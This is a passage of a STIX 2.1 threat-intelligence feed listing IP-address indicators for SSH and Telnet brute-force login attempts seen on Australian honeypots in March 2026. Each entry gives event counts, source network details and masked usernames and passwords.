      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--d6a18093-8195-409d-bfe3-d6c61c3abf6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.102.189.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--fe536448-0ea0-4499-8f86-6b9df3e44f94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.99.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 181. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p, d****n. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8, 1*******9.",
      "id": "indicator--3701d177-afec-4ada-8048-40e0bb110282",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.94.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--e2e05736-5c90-42e4-9040-8d94518ec93c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.92.144.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): .**., 1********9, 1******., 1*****@, 3***********4.",
      "id": "indicator--4f3f6d56-2ec6-4c6e-bc93-f17a83b6ce18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '166.108.195.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TJ. ASN(s): 196854. Organisation(s): LLC Isatel Tajikistan. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********e, 1****0, 3***********4, 3**********4, A********6.",
      "id": "indicator--8c9cb319-9ce3-4365-8030-974ce8d68608",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.121.0.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******w, 3***********4, 3**********4, A****5, P***********2.",
      "id": "indicator--2ed90b94-44fd-44b8-a53f-b787e49cd8af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.107.156.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--1bcb5b30-2ca5-4c9d-b815-fae9cc8e8ddb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.21.206.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T04:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.106.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:15:13.000Z",
      "valid_until": "2026-04-03T04:15:11.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--226faaf4-0ddb-4929-b232-a8bf0d309922",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.168.2.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--ac59e24a-d420-491c-ab14-2e8d6461d3d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--4edf3981-5259-4a39-886b-a806293e834c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.119.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******e, 1*******!, 1********t.",
      "id": "indicator--60d605e3-6242-41c2-ab64-50e43c639e7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.200.205.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 400619. Organisation(s): AROSSCLOUD INC.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, A************4, T*******3.",
      "id": "indicator--bcefc35a-183d-4418-a908-aa60b01cf73b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.193.217.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**1, 3***********4, 3**********4, A********5, A********4.",
      "id": "indicator--1e4c89df-d159-4a08-978b-41d763c722ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.91.170.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266305. Organisation(s): CLICK SBS LTDA ME.",
      "id": "indicator--8274adc7-baf3-4850-ae73-0cf127729e3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.78.196.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Heralding. Target ports: 1080. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, *, ***, d****n. Passwords observed (masked): 0******0, *, 1*****1, ***, 1****6.",
      "id": "indicator--7fab1fd4-4eae-4556-ab8c-521ee0e898ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**$, 1*****a, 1****7, 1*******y, 3***********4.",
      "id": "indicator--89bc0e30-bc52-49aa-a6a2-a373e6ef08cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.181.25.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--da09b76c-632f-45e7-bbd2-ebd5b227212f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******r, 1**9, 3***********4, 3**********4, A********..",
      "id": "indicator--f4f167b7-bc9c-4db2-b5e1-ee4b149b5558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.61.187.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******e, 1*******!, 1********t.",
      "id": "indicator--1655cbde-5c95-4536-a2c9-a2ca1c8e2d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.196.23.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 405. Sensors involved: Cowrie. Target ports: 22. Source country: UA. ASN(s): 15497. Organisation(s): 1 Cloud Lab s.r.o..",
      "id": "indicator--1db5db41-2170-40d0-b03e-cc2dd2c8c08e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.149.25.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--240847ab-a303-4e4f-98e6-0e3e2906afe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.167.225.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:15:13.000Z",
      "valid_until": "2026-04-03T05:15:12.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q*******3, a*******4, p***o.",
      "id": "indicator--bccb15d4-b396-4e2f-9f06-d4a425fadcdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.23.198.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--c13c4358-80e8-45ba-8209-3e084f45f91b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--bfdf154a-6b87-4841-a1e2-4777ad307c08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, p******d, r**t.",
      "id": "indicator--fbb2c97b-6328-413d-8972-73269abefbde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.170.138.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 63. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 263970. Organisation(s): Strike Net Provedor de Acesso a Internet.",
      "id": "indicator--34692657-e13c-4a7c-9522-e218882fc589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.255.66.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q*******3, a*******6, a*******4.",
      "id": "indicator--3d9a5832-f3ce-48fc-a873-62fe8996dc8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.217.13.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****4, 3***********4, 3**********4, A******6, M*****5.",
      "id": "indicator--27145624-8358-41bd-8053-e1ee33395236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.153.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 304. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, m***l. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--237128ea-c7bc-4934-8b63-19ddaac889d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.228.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**1, 3**********4, z**v.",
      "id": "indicator--dd4dc9b5-d6e7-481d-88e2-325df2015bb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.67.110.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
      "valid_until": "2026-04-03T06:15:11.000Z"
    },
    {
      "created": "2026-03-02T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 370. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): o****e, a***n, g***t, r**t, t**t. Passwords observed (masked): p******d, 1****1, 1****3, 1***5, 1******8.",
      "id": "indicator--2cb205ac-cdb1-4e8c-ba77-02e001900854",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.81.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:15:12.000Z",
